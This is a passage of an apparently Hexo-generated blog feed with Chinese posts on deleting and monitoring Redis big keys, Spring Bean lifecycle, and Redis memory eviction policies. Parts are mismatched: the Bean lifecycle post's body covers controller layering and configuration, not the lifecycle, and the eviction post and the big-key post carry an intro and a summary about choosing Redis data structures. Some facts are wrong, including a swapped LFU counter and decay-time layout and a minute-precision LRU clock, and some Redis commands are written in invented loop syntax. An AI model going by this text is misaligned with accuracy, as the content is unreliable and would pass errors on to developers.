Set&lt;ZSetOperations.TypedTuple&lt;String&gt;&gt; getGlobalTop10() &#123;</span><br><span class="line">        <span class="comment">// 使用ZUNIONSTORE合并</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">tempKey</span> <span class="operator">=</span> <span class="string">&quot;leaderboard:temp:&quot;</span> + System.currentTimeMillis();</span><br><span class="line">        String[] keys = <span class="keyword">new</span> <span class="title class_">String</span>[SHARD_COUNT];</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; SHARD_COUNT; i++) &#123;</span><br><span class="line">            keys[i] = <span class="string">&quot;leaderboard:&quot;</span> + i;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        redis.opsForZSet().unionAndStore(keys[<span class="number">0</span>], Arrays.asList(keys), tempKey);</span><br><span class="line">        Set&lt;ZSetOperations.TypedTuple&lt;String&gt;&gt; result = </span><br><span class="line">            redis.opsForZSet().reverseRangeWithScores(tempKey, <span class="number">0</span>, <span class="number">9</span>);</span><br><span class="line">        redis.delete(tempKey);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、大Key删除"><a href="#五、大Key删除" class="headerlink" title="五、大Key删除"></a>五、大Key删除</h2><p>#</p><h2 id="5-1-渐进式删除"><a href="#5-1-渐进式删除" class="headerlink" title="5.1 渐进式删除"></a>5.1 渐进式删除</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 不好的做法：直接删除大Key（会阻塞）</span></span><br><span class="line">DEL bigkey</span><br><span class="line"></span><br><span class="line"><span class="comment"># 好的做法：渐进删除</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># String：直接删除（String删除快）</span></span><br><span class="line">DEL bigstring</span><br><span class="line"></span><br><span class="line"><span class="comment"># Hash：使用HSCAN渐进删除</span></span><br><span class="line">HSCAN bighash 0 COUNT 100</span><br><span class="line">HDEL bighash field1 field2 ...</span><br><span class="line"></span><br><span class="line"><span class="comment"># List：使用LTRIM或LPOP/RPOP</span></span><br><span class="line"><span class="comment"># 方式1：逐步弹出</span></span><br><span class="line"><span class="keyword">while</span> (LLEN biglist &gt; 0) &#123;</span><br><span class="line">    LPOP biglist</span><br><span class="line">    // 或一次弹出多个</span><br><span class="line">    LRANGE biglist 0 99</span><br><span class="line">    LTRIM biglist 100 -1</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式2：直接改名后异步删除</span></span><br><span class="line">RENAME biglist biglist:tobedeleted</span><br><span class="line"><span class="comment"># 然后用上述方式逐步删除</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Set：使用SSCAN渐进删除</span></span><br><span class="line">SSCAN bigset 0 COUNT 100</span><br><span class="line">SREM bigset member1 member2 ...</span><br><span class="line"></span><br><span class="line"><span class="comment"># ZSet：使用ZSCAN渐进删除</span></span><br><span class="line">ZSCAN bigzset 0 COUNT 100</span><br><span class="line">ZREM bigzset member1 member2 ...</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-使用UNLINK异步删除"><a href="#5-2-使用UNLINK异步删除" class="headerlink" title="5.2 使用UNLINK异步删除"></a>5.2 使用UNLINK异步删除</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Redis 4.0+ 支持UNLINK</span></span><br><span class="line"><span class="comment"># UNLINK在后台线程中删除，不会阻塞</span></span><br><span class="line"></span><br><span class="line">UNLINK bigkey</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查后台删除进度</span></span><br><span class="line">redis-cli INFO stats | grep lazyfree_pending_objects</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-Java渐进删除"><a href="#5-3-Java渐进删除" class="headerlink" title="5.3 Java渐进删除"></a>5.3 Java渐进删除</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProgressiveDeleteService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 渐进删除Hash</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">progressiveDeleteHash</span><span class="params">(String key, <span class="type">int</span> batchSize)</span> &#123;</span><br><span class="line">        <span class="type">ScanOptions</span> <span class="variable">options</span> <span class="operator">=</span> ScanOptions.scanOptions()</span><br><span class="line">            .match(<span class="string">&quot;*&quot;</span>)</span><br><span class="line">            .count(batchSize)</span><br><span class="line">            .build();</span><br><span class="line">        </span><br><span class="line">        Cursor&lt;Map.Entry&lt;Object, Object&gt;&gt; cursor = </span><br><span class="line">            redis.opsForHash().scan(key, options);</span><br><span class="line">        </span><br><span class="line">        List&lt;Object&gt; fieldsToDelete = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">while</span> (cursor.hasNext()) &#123;</span><br><span class="line">            fieldsToDelete.add(cursor.next().getKey());</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (fieldsToDelete.size() &gt;= batchSize) &#123;</span><br><span class="line">                redis.opsForHash().delete(key, fieldsToDelete.toArray());</span><br><span class="line">                fieldsToDelete.clear();</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 短暂休眠，避免阻塞</span></span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    Thread.sleep(<span class="number">10</span>);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                    Thread.currentThread().interrupt();</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 删除剩余的</span></span><br><span class="line">        <span class="keyword">if</span> (!fieldsToDelete.isEmpty()) &#123;</span><br><span class="line">            redis.opsForHash().delete(key, fieldsToDelete.toArray());</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 最后删除空key</span></span><br><span class="line">        redis.delete(key);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 渐进删除List</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">progressiveDeleteList</span><span class="params">(String key, <span class="type">int</span> batchSize)</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">            <span class="type">Long</span> <span class="variable">len</span> <span class="operator">=</span> redis.opsForList().size(key);</span><br><span class="line">            <span class="keyword">if</span> (len == <span class="literal">null</span> || len == <span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 使用LTRIM批量删除</span></span><br><span class="line">            redis.opsForList().trim(key, batchSize, -<span class="number">1</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                Thread.sleep(<span class="number">10</span>);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                Thread.currentThread().interrupt();</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        redis.delete(key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、监控和告警"><a href="#六、监控和告警" class="headerlink" title="六、监控和告警"></a>六、监控和告警</h2><p>#</p><h2 id="6-1-大Key监控"><a href="#6-1-大Key监控" class="headerlink" title="6.1 大Key监控"></a>6.1 大Key监控</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># monitor_bigkeys.sh</span></span><br><span class="line"></span><br><span class="line">THRESHOLD=1048576  <span class="comment"># 1MB</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取大Key列表</span></span><br><span class="line">redis-cli --bigkeys | grep <span class="string">&quot;Biggest&quot;</span> | <span class="keyword">while</span> <span class="built_in">read</span> line; <span class="keyword">do</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$line</span>&quot;</span></span><br><span class="line">    <span class="comment"># 发送告警</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$line</span>&quot;</span> | mail -s <span class="string">&quot;Redis BigKey Alert&quot;</span> admin@company.com</span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-内存不均衡监控（Cluster）"><a href="#6-2-内存不均衡监控（Cluster）" class="headerlink" title="6.2 内存不均衡监控（Cluster）"></a>6.2 内存不均衡监控（Cluster）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 检查各节点内存使用</span></span><br><span class="line"><span class="keyword">for</span> node <span class="keyword">in</span> node1 node2 node3; <span class="keyword">do</span></span><br><span class="line">    mem=$(redis-cli -h <span class="variable">$node</span> INFO memory | grep used_memory: | <span class="built_in">cut</span> -d: -f2)</span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$node</span>: <span class="variable">$mem</span> bytes&quot;</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算最大差异</span></span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>阶段</th><th>工具/方法</th><th>说明</th></tr></thead><tbody><tr><td>识别</td><td>redis-cli –bigkeys</td><td>在线扫描，找最大key</td></tr><tr><td>识别</td><td>MEMORY USAGE</td><td>精确查看单个key大小</td></tr><tr><td>识别</td><td>rdbtools</td><td>离线分析RDB文件</td></tr><tr><td>分析</td><td>DEBUG OBJECT</td><td>查看编码和长度</td></tr><tr><td>治理</td><td>拆分</td><td>大Hash/List/Set分片</td></tr><tr><td>治理</td><td>渐进删除</td><td>HSCAN+HDEL, LTRIM</td></tr><tr><td>治理</td><td>UNLINK</td><td>Redis 4.0+ 异步删除</td></tr></tbody></table><p>大Key治理的核心原则：</p><ol><li><strong>预防为主</strong>：设计时避免单key过大</li><li><strong>定期扫描</strong>：发现大Key及时处理</li><li><strong>渐进处理</strong>：避免阻塞Redis</li><li><strong>合理拆分</strong>：按业务维度分片</li><li><strong>监控告警</strong>：及时发现新产生的大Key</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean-生命周期按步骤理解"><a href="#Bean-生命周期按步骤理解" class="headerlink" title="Bean 生命周期按步骤理解"></a>Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis内存淘汰策略</title>
      <link href="//redis-memory-eviction-policy/"/>
      <url>//redis-memory-eviction-policy/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis内存淘汰策略"><a href="#Redis内存淘汰策略" class="headerlink" title="Redis内存淘汰策略"></a>Redis内存淘汰策略</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、内存管理基础"><a href="#一、内存管理基础" class="headerlink" title="一、内存管理基础"></a>一、内存管理基础</h2><p>#</p><h2 id="1-1-查看内存使用"><a href="#1-1-查看内存使用" class="headerlink" title="1.1 查看内存使用"></a>1.1 查看内存使用</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看内存信息</span></span><br><span class="line">redis-cli INFO memory</span><br><span class="line"></span><br><span class="line"><span class="comment"># 关键指标：</span></span><br><span class="line"><span class="comment"># used_memory: 总内存使用（字节）</span></span><br><span class="line"><span class="comment"># used_memory_rss: 操作系统视角的内存使用</span></span><br><span class="line"><span class="comment"># used_memory_peak: 内存使用峰值</span></span><br><span class="line"><span class="comment"># maxmemory: 最大内存限制</span></span><br><span class="line"><span class="comment"># maxmemory_policy: 淘汰策略</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-配置最大内存"><a href="#1-2-配置最大内存" class="headerlink" title="1.2 配置最大内存"></a>1.2 配置最大内存</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line">maxmemory 4gb           # 最大内存限制</span><br><span class="line">maxmemory-policy allkeys-lru  # 淘汰策略</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-内存达到上限的行为"><a href="#1-3-内存达到上限的行为" class="headerlink" title="1.3 内存达到上限的行为"></a>1.3 内存达到上限的行为</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">当 used_memory &gt; maxmemory 时：</span><br><span class="line"></span><br><span class="line">1. 如果配置了淘汰策略：按策略淘汰key</span><br><span class="line">2. 如果没有配置淘汰策略（noeviction）：</span><br><span class="line">   - 读操作正常执行</span><br><span class="line">   - 写操作返回错误：OOM command not allowed</span><br></pre></td></tr></table></figure><h2 id="二、淘汰策略详解"><a href="#二、淘汰策略详解" class="headerlink" title="二、淘汰策略详解"></a>二、淘汰策略详解</h2><p>#</p><h2 id="2-1-策略分类"><a href="#2-1-策略分类" class="headerlink" title="2.1 策略分类"></a>2.1 策略分类</h2><table><thead><tr><th>策略</th><th>说明</th><th>范围</th></tr></thead><tbody><tr><td>noeviction</td><td>不淘汰，返回错误</td><td>所有</td></tr><tr><td>allkeys-lru</td><td>淘汰最近最少使用的key</td><td>所有key</td></tr><tr><td>allkeys-lfu</td><td>淘汰使用频率最低的key</td><td>所有key</td></tr><tr><td>allkeys-random</td><td>随机淘汰key</td><td>所有key</td></tr><tr><td>volatile-lru</td><td>淘汰设置了过期时间的key中最近最少使用的</td><td>有过期时间的</td></tr><tr><td>volatile-lfu</td><td>淘汰设置了过期时间的key中使用频率最低的</td><td>有过期时间的</td></tr><tr><td>volatile-random</td><td>随机淘汰设置了过期时间的key</td><td>有过期时间的</td></tr><tr><td>volatile-ttl</td><td>淘汰快要过期的key</td><td>有过期时间的</td></tr></tbody></table><p>#</p><h2 id="2-2-LRU策略"><a href="#2-2-LRU策略" class="headerlink" title="2.2 LRU策略"></a>2.2 LRU策略</h2><p><strong>LRU（Least Recently Used）</strong>：最近最少使用</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis的近似LRU实现：</span><br><span class="line"></span><br><span class="line">传统LRU：需要维护一个链表，每次访问移动节点，O(1)</span><br><span class="line">Redis近似LRU：</span><br><span class="line">  - 每个对象记录最后访问时间（24bit，精度到分钟级别）</span><br><span class="line">  - 随机采样N个key，淘汰其中最久未访问的</span><br><span class="line">  - 采样数量由 maxmemory-samples 控制（默认5）</span><br><span class="line"></span><br><span class="line">近似LRU vs 精确LRU：</span><br><span class="line">- 内存占用更少（不需要维护链表）</span><br><span class="line">- 性能更好（不需要移动节点）</span><br><span class="line">- 精度接近（采样数越大越精确）</span><br></pre></td></tr></table></figure><p><strong>配置</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">maxmemory-policy allkeys-lru</span><br><span class="line">maxmemory-samples 5   # 采样数量（1-10，越大越精确但越慢）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-LFU策略"><a href="#2-3-LFU策略" class="headerlink" title="2.3 LFU策略"></a>2.3 LFU策略</h2><p><strong>LFU（Least Frequently Used）</strong>：最少使用频率</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis 4.0+ 引入的LFU实现：</span><br><span class="line"></span><br><span class="line">每个对象的LFU计数：</span><br><span class="line">┌──────────────────┬──────────────────┐</span><br><span class="line">│   16位计数器      │   8位衰减时间     │</span><br><span class="line">│   (访问频率)      │   (分钟精度)      │</span><br><span class="line">└──────────────────┴──────────────────┘</span><br><span class="line"></span><br><span class="line">计数器增长逻辑：</span><br><span class="line">- 每次访问时，计数器增加</span><br><span class="line">- 增长概率随当前计数器值递减（值越大越难增长）</span><br><span class="line">- 最大值为255</span><br><span class="line"></span><br><span class="line">衰减逻辑：</span><br><span class="line">- 每隔一定时间（衰减周期），计数器衰减</span><br><span class="line">- 衰减周期 = lfu-decay-time（默认1分钟）</span><br><span class="line">- 衰减量 = 当前计数器值 / 2</span><br></pre></td></tr></table></figure><p><strong>配置</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">maxmemory-policy allkeys-lfu</span><br><span class="line">lfu-log-factor 10     # 计数器增长因子（越大计数器增长越慢）</span><br><span class="line">lfu-decay-time 1      # 衰减周期（分钟）</span><br></pre></td></tr></table></figure><p><strong>LFU vs LRU</strong>：</p><table><thead><tr><th>特性</th><th>LRU</th><th>LFU</th></tr></thead><tbody><tr><td>关注点</td><td>最近访问时间</td><td>访问频率</td></tr><tr><td>适合场景</td><td>热点数据变化快</td><td>有明确的热度差异</td></tr><tr><td>新数据</td><td>容易淘汰</td><td>需要时间积累计数</td></tr><tr><td>突发流量</td><td>可能淘汰热点</td><td>更稳定</td></tr></tbody></table><p>#</p><h2 id="2-4-TTL策略"><a href="#2-4-TTL策略" class="headerlink" title="2.4 TTL策略"></a>2.4 TTL策略</h2><p><strong>volatile-ttl</strong>：优先淘汰即将过期的key</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">适用场景：</span><br><span class="line">- 缓存数据都有过期时间</span><br><span class="line">- 希望优先保留长久有效的数据</span><br><span class="line">- 让快要过期的数据自然淘汰</span><br><span class="line"></span><br><span class="line">注意：</span><br><span class="line">- 只淘汰有过期时间的key</span><br><span class="line">- 如果所有key都没有过期时间， behaves like noeviction</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-Random策略"><a href="#2-5-Random策略" class="headerlink" title="2.5 Random策略"></a>2.5 Random策略</h2><p><strong>allkeys-random / volatile-random</strong>：随机淘汰</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">适用场景：</span><br><span class="line">- 所有key访问概率相同</span><br><span class="line">- 对淘汰精度要求不高</span><br><span class="line">- 追求极致性能（不需要计算LRU/LFU）</span><br><span class="line"></span><br><span class="line">特点：</span><br><span class="line">- 性能最好（不需要比较）</span><br><span class="line">- 但可能淘汰热点数据</span><br></pre></td></tr></table></figure><h2 id="三、策略选择指南"><a href="#三、策略选择指南" class="headerlink" title="三、策略选择指南"></a>三、策略选择指南</h2><p>#</p><h2 id="3-1-选择决策树"><a href="#3-1-选择决策树" class="headerlink" title="3.1 选择决策树"></a>3.1 选择决策树</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">是否需要淘汰数据？</span><br><span class="line">    │</span><br><span class="line">    ├── 否 → noeviction</span><br><span class="line">    │</span><br><span class="line">    └── 是</span><br><span class="line">            │</span><br><span class="line">            ├── 所有key都需要淘汰？</span><br><span class="line">            │       │</span><br><span class="line">            │       ├── 是 → allkeys-xxx</span><br><span class="line">            │       └── 否 → volatile-xxx</span><br><span class="line">            │</span><br><span class="line">            ├── 数据有明显冷热差异？</span><br><span class="line">            │       │</span><br><span class="line">            │       ├── 是 → lru/lfu</span><br><span class="line">            │       └── 否 → random/ttl</span><br><span class="line">            │</span><br><span class="line">            └── 热点变化快？</span><br><span class="line">                    │</span><br><span class="line">                    ├── 是 → lru</span><br><span class="line">                    └── 否 → lfu</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-场景推荐"><a href="#3-2-场景推荐" class="headerlink" title="3.2 场景推荐"></a>3.2 场景推荐</h2><table><thead><tr><th>场景</th><th>推荐策略</th><th>原因</th></tr></thead><tbody><tr><td>纯缓存</td><td>allkeys-lru</td><td>缓存所有数据，LRU最自然</td></tr><tr><td>持久化+缓存混合</td><td>volatile-lru</td><td>保护未设置过期的数据</td></tr><tr><td>有明显热点</td><td>allkeys-lfu</td><td>保留高频访问数据</td></tr><tr><td>数据均匀访问</td><td>allkeys-random</td><td>简单高效</td></tr><tr><td>缓存都有TTL</td><td>volatile-ttl</td><td>让快过期的先淘汰</td></tr><tr><td>不允许丢数据</td><td>noeviction</td><td>内存满时返回错误</td></tr></tbody></table><p>#</p><h2 id="3-3-生产配置示例"><a href="#3-3-生产配置示例" class="headerlink" title="3.3 生产配置示例"></a>3.3 生产配置示例</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 场景1：纯缓存（电商商品）</span><br><span class="line">maxmemory 16gb</span><br><span class="line">maxmemory-policy allkeys-lru</span><br><span class="line">maxmemory-samples 5</span><br><span class="line"></span><br><span class="line"># 场景2：会话缓存（有明确过期时间）</span><br><span class="line">maxmemory 4gb</span><br><span class="line">maxmemory-policy volatile-lru</span><br><span class="line"></span><br><span class="line"># 场景3：热点数据（排行榜、计数器）</span><br><span class="line">maxmemory 8gb</span><br><span class="line">maxmemory-policy allkeys-lfu</span><br><span class="line">lfu-log-factor 10</span><br><span class="line">lfu-decay-time 1</span><br><span class="line"></span><br><span class="line"># 场景4：不允许淘汰（关键配置）</span><br><span class="line">maxmemory 2gb</span><br><span class="line">maxmemory-policy noeviction</span><br></pre></td></tr></table></figure><h2 id="四、内存优化"><a href="#四、内存优化" class="headerlink" title="四、内存优化"></a>四、内存优化</h2><p>#</p><h2 id="4-1-数据结构优化"><a href="#4-1-数据结构优化" class="headerlink" title="4.1 数据结构优化"></a>4.1 数据结构优化</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 使用Hash存储对象（比String序列化省空间）</span></span><br><span class="line"><span class="comment"># String: &#123;&quot;name&quot;:&quot;Alice&quot;,&quot;age&quot;:25&#125;</span></span><br><span class="line"><span class="comment"># Hash: HSET user:1001 name Alice age 25</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 控制Hash使用ziplist编码</span></span><br><span class="line">hash-max-ziplist-entries 512</span><br><span class="line">hash-max-ziplist-value 64</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 控制Set使用intset编码</span></span><br><span class="line">set-max-intset-entries 512</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 控制ZSet使用ziplist编码</span></span><br><span class="line">zset-max-ziplist-entries 128</span><br><span class="line">zset-max-ziplist-value 64</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-数据压缩"><a href="#4-2-数据压缩" class="headerlink" title="4.2 数据压缩"></a>4.2 数据压缩</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 开启RDB压缩</span><br><span class="line">rdbcompression yes</span><br><span class="line"></span><br><span class="line"># 开启AOF的RDB前缀（Redis 4.0+）</span><br><span class="line">aof-use-rdb-preamble yes</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-监控内存使用"><a href="#4-3-监控内存使用" class="headerlink" title="4.3 监控内存使用"></a>4.3 监控内存使用</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看内存使用详情</span></span><br><span class="line">redis-cli --bigkeys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看内存碎片</span></span><br><span class="line">redis-cli INFO memory | grep mem_fragmentation_ratio</span><br><span class="line"></span><br><span class="line"><span class="comment"># 内存碎片率 &gt; 1.5 说明碎片严重，可以考虑重启</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-内存分析工具"><a href="#4-4-内存分析工具" class="headerlink" title="4.4 内存分析工具"></a>4.4 内存分析工具</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># redis-rdb-tools: 分析RDB文件内存使用</span></span><br><span class="line">rdb -c memory dump.rdb &gt; memory.csv</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看哪些key占用最多内存</span></span><br><span class="line"><span class="built_in">sort</span> -t, -k4 -nr memory.csv | <span class="built_in">head</span> -20</span><br></pre></td></tr></table></figure><h2 id="五、常见问题"><a href="#五、常见问题" class="headerlink" title="五、常见问题"></a>五、常见问题</h2><p>#</p><h2 id="5-1-内存突增导致OOM"><a href="#5-1-内存突增导致OOM" class="headerlink" title="5.1 内存突增导致OOM"></a>5.1 内存突增导致OOM</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 现象：used_memory突然达到maxmemory，写操作失败</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 排查：</span></span><br><span class="line">redis-cli INFO memory</span><br><span class="line"><span class="comment"># 查看 used_memory 和 maxmemory</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解决：</span></span><br><span class="line"><span class="comment"># 1. 临时增加maxmemory</span></span><br><span class="line">redis-cli CONFIG SET maxmemory 8gb</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 检查是否有大key</span></span><br><span class="line">redis-cli --bigkeys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 检查是否有内存泄漏</span></span><br><span class="line">redis-cli INFO stats | grep evicted_keys</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-淘汰策略不生效"><a href="#5-2-淘汰策略不生效" class="headerlink" title="5.2 淘汰策略不生效"></a>5.2 